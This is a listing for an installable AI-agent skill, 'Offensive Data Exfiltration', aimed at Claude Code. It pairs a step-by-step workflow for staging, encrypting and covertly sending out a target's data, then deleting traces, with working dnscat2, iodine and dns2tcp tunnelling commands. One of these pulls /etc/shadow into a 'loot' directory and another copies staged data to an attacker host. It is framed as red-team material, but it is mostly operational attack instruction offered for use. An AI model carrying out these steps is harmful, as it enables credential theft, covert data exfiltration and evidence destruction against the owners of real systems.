Offensive Data Exfiltration
Dense methodology covering DNS exfiltration (dnscat2, iodine, dns2tcp), HTTPS tunneling...
Install
npx skills add SnailSploit/Claude-Red --skill offensive-data-exfiltration -g -a claude-code -y- Repository
- SnailSploit/Claude-Red10.2k
- Category
- Security
- Updated
- 23d ago
- License
- MIT
- Context cost
- Mediumabout 3,000 tokens
- Runs scripts
- No, instructions only
What it does
Dense methodology covering DNS exfiltration (dnscat2, iodine, dns2tcp), HTTPS tunneling (domain fronting, CDN abuse, legitimate service channels), ICMP tunneling (icmpsh, ptunnel-ng), cloud storage dead drops (S3 presigned URLs, Azure Blob SAS tokens, GCS signed URLs), email-based exfil (SMTP, EWS, draft method), steganography (image, audio, document metadata), encoding/encryption (base64 chunking, XOR, AES), covert channels (custom protocol tunneling, HTTP header encoding, timing channels), and data staging (compression, splitting, encryption). Tools: dnscat2, iodine, dns2tcp, PacketWhisper, chisel, stunnel, icmpsh, ptunnel-ng, steghide, zsteg, OpenStego. MITRE ATT&CK: T1048 (Exfiltration Over Alternative Protocol), T1041 (Exfiltration Over C2 Channel), T1567 (Exfiltration Over Web Service), T1029 (Scheduled Transfer), T1030 (Data Transfer Size Limits), T1132 (Data Encoding), T1001 (Data Obfuscation). Use when planning or executing data exfiltration during authorized red team engagements or post-exploitation.
Data Exfiltration -- Offensive Methodology
Quick Workflow
- Inventory target data. Map files, databases, credentials. Assess volume and classification.
- Stage. Copy to a controlled directory. Strip unnecessary metadata and deduplicate.
- Compress and split. Tar/zip, then chunk for your channel (DNS < 253 bytes/label; HTTPS tolerates MB).
- Encrypt. AES-256-GCM or ChaCha20 every chunk. Never exfiltrate plaintext.
- Select channel. DNS (port 53 only), HTTPS (web allowed), ICMP (ping allowed), cloud (SaaS access).
- Transmit. Slow-drip for stealth; burst when you have a short window. Match baseline traffic rates.
- Verify receipt. Recompute SHA-256 on the receiving end and compare against source manifest.
- Clean up. Securely delete staging, temp files, dropped tools, and any scheduled tasks.
DNS Exfiltration
MITRE: T1048.003 -- Exfiltration Over Alternative Protocol: DNS
dnscat2
# Server -- set NS record for exfil.yourdomain.com -> your_server_ip first
ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret
# Client on target
./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret
# Server console -- file transfer
session -i 1
download /etc/shadow /tmp/loot/shadow
# Force CNAME queries to avoid TXT-based detection
./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret
iodine Tunneling
# Server (authoritative NS)
iodined -f -c -P ExfilPassword 10.0.0.1 tunnel.yourdomain.com
# Client -- creates dns0 interface at 10.0.0.2
iodine -f -P ExfilPassword tunnel.yourdomain.com
scp /tmp/staged.tar.enc attacker@10.0.0.1:/loot/
dns2tcp
# Server (/etc/dns2tcpd.conf): domain = exfil.yourdomain.com, resources = ssh:127.0.0.1:22
dns2tcpd -f /etc/dns2tcpd.conf
# Client -- tunnel SSH over DNS
dns2tcpc -r ssh -z exfil.yourdomain.com -l 2222 -d 1
ssh -p 2222 attacker@127.0.0.1
